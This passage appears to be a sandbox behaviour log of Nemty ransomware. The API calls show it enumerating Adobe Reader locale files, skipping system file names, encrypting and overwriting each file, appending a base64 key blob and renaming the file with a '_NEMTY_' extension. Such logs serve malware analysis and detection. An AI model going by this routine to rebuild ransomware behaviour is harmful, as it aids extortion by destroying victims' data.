lpMultiByteStr="Spelling.NOR", lpUsedDefaultChar=0x0) returned 12 [0180.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.NOR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.NOR", lpUsedDefaultChar=0x0) returned 12 [0180.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.174] Sleep (dwMilliseconds=0x5) [0180.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f18d630, dwHighDateTime=0x1d561e8)) [0180.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f18d630, dwHighDateTime=0x1d561e8)) [0180.280] GetLastError () returned 0x12 [0180.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.280] GetLastError () returned 0x12 [0180.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.280] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.280] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.280] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.280] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="+9mejI3J+7s6y1TEP5Aj+iTfJxZa3saWrwqYHCtYFsTRYu0W9ihMwsi/tgFuKZoy\r\nZnF+ue3xnH5MKAEHuFl8crWq+MAUhSOXSSgRqFZnh4r6jBPRbnf0KpGTusSfk8Sp\r\nze/uZyWzqW4484e0GO3YGKyexkdOGCeiNG+AIDa8h0Gr7v0fEn/tH4m2xMceWbG3\r\nuSurr2ihjtzGBL0lfmVsgOorfeK3KjuQcTdOtBoWc0+mU7w5GkAePtssneBs/7K9\r\nNi3+W4cdUJUtJ1rAWTYIt/dKnCYw0HOabAtXazJeI/xNB8vgLA/KfXB9EeB35DS1\r\nA8AWQSrD11P554z1ZUmsHQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.280] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Spelling.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\spelling.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.281] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0180.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0180.281] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.281] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0180.284] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.284] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0180.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.285] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0180.285] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.285] CloseHandle (hObject=0x2e8) returned 1 [0180.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.285] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Spelling.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\spelling.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Spelling.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\spelling.nor._nemty_kgobjgd_")) returned 1 [0180.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.286] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.NOR", cAlternateFileName="")) returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2=".") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="..") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="...") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="windows") returned -1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="$RECYCLE.BIN") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="rsa") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="NTDETECT.COM") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="ntldr") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="MSDOS.SYS") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="IO.SYS") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="boot.ini") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="boot.ini") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="ntuser.dat") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="desktop.ini") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="CONFIG.SYS") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="RECYCLER") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="BOOTSECT.BAK") returned 1 [0180.286] lstrcmpiW (lpString1="updater.NOR", lpString2="bootmgr") returned 1 [0180.287] lstrcmpiW (lpString1="updater.NOR", lpString2="programdata") returned 1 [0180.287] lstrcmpiW (lpString1="updater.NOR", lpString2="appdata") returned 1 [0180.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.NOR", lpUsedDefaultChar=0x0) returned 11 [0180.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.NOR", lpUsedDefaultChar=0x0) returned 11 [0180.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NOR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.NOR", lpUsedDefaultChar=0x0) returned 11 [0180.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.NOR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.NOR", lpUsedDefaultChar=0x0) returned 11 [0180.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.287] Sleep (dwMilliseconds=0x5) [0180.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f1d98f0, dwHighDateTime=0x1d561e8)) [0180.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f1d98f0, dwHighDateTime=0x1d561e8)) [0180.303] GetLastError () returned 0x0 [0180.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.303] GetLastError () returned 0x0 [0180.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.303] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.303] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.303] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.303] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="2W4H+pnzh6im1lP27cEkHIw/ty91XLfCXCcXmjTZC03lKjlNYttvjkMBRfyrBNH1\r\nhiA1Yf5GqpbBpesI3LvFoiVXlaMM4P93ZA+5gMX3UAPWRqX8IjG5eRnzRkrLqRpM\r\nvqBh/Iy8ne8rixo2F0UFmyzDiUVHENhNM8QFp2OvqvAzOLrQTJOiK2hTUPEdS1pp\r\n9gmSTbrjVhI+FKtVs13m4iV1VN+Kg6JaxFaEIt0ThIKa2qyE/SONqauNnQhiGP5a\r\nTeQjMGUPVl4VZ5zO4ryVn6fpeGRQUG+48U8m6TL4gwwxzoas/ROfCznLLFNVKsJW\r\nTEPQ0fXTUUrG++5OTJU3Bw==\r\n", pcchString=0x653e5dc) returned 1 [0180.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.304] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\updater.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\updater.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.304] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0180.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0180.304] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.304] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0180.306] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.306] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0180.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.307] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0180.307] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.307] CloseHandle (hObject=0x2e8) returned 1 [0180.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.307] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\updater.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\updater.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\updater.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\updater.nor._nemty_kgobjgd_")) returned 1 [0180.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.308] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.NOR", cAlternateFileName="")) returned 1 [0180.308] lstrcmpiW (lpString1="Weblink.NOR", lpString2=".") returned 1 [0180.308] lstrcmpiW (lpString1="Weblink.NOR", lpString2="..") returned 1 [0180.308] lstrcmpiW (lpString1="Weblink.NOR", lpString2="...") returned 1 [0180.308] lstrcmpiW (lpString1="Weblink.NOR", lpString2="windows") returned -1 [0180.308] lstrcmpiW (lpString1="Weblink.NOR", lpString2="$RECYCLE.BIN") returned 1 [0180.308] lstrcmpiW (lpString1="Weblink.NOR", lpString2="rsa") returned 1 [0180.308] lstrcmpiW (lpString1="Weblink.NOR", lpString2="NTDETECT.COM") returned 1 [0180.308] lstrcmpiW (lpString1="Weblink.NOR", lpString2="ntldr") returned 1 [0180.308] lstrcmpiW (lpString1="Weblink.NOR", lpString2="MSDOS.SYS") returned 1 [0180.308] lstrcmpiW (lpString1="Weblink.NOR", lpString2="IO.SYS") returned 1 [0180.308] lstrcmpiW (lpString1="Weblink.NOR", lpString2="boot.ini") returned 1 [0180.309] lstrcmpiW (lpString1="Weblink.NOR", lpString2="boot.ini") returned 1 [0180.309] lstrcmpiW (lpString1="Weblink.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0180.309] lstrcmpiW (lpString1="Weblink.NOR", lpString2="ntuser.dat") returned 1 [0180.309] lstrcmpiW (lpString1="Weblink.NOR", lpString2="desktop.ini") returned 1 [0180.309] lstrcmpiW (lpString1="Weblink.NOR", lpString2="CONFIG.SYS") returned 1 [0180.309] lstrcmpiW (lpString1="Weblink.NOR", lpString2="RECYCLER") returned 1 [0180.309] lstrcmpiW (lpString1="Weblink.NOR", lpString2="BOOTSECT.BAK") returned 1 [0180.309] lstrcmpiW (lpString1="Weblink.NOR", lpString2="bootmgr") returned 1 [0180.309] lstrcmpiW (lpString1="Weblink.NOR", lpString2="programdata") returned 1 [0180.309] lstrcmpiW (lpString1="Weblink.NOR", lpString2="appdata") returned 1 [0180.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.NOR", lpUsedDefaultChar=0x0) returned 11 [0180.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.NOR", lpUsedDefaultChar=0x0) returned 11 [0180.309] HeapFree (in: 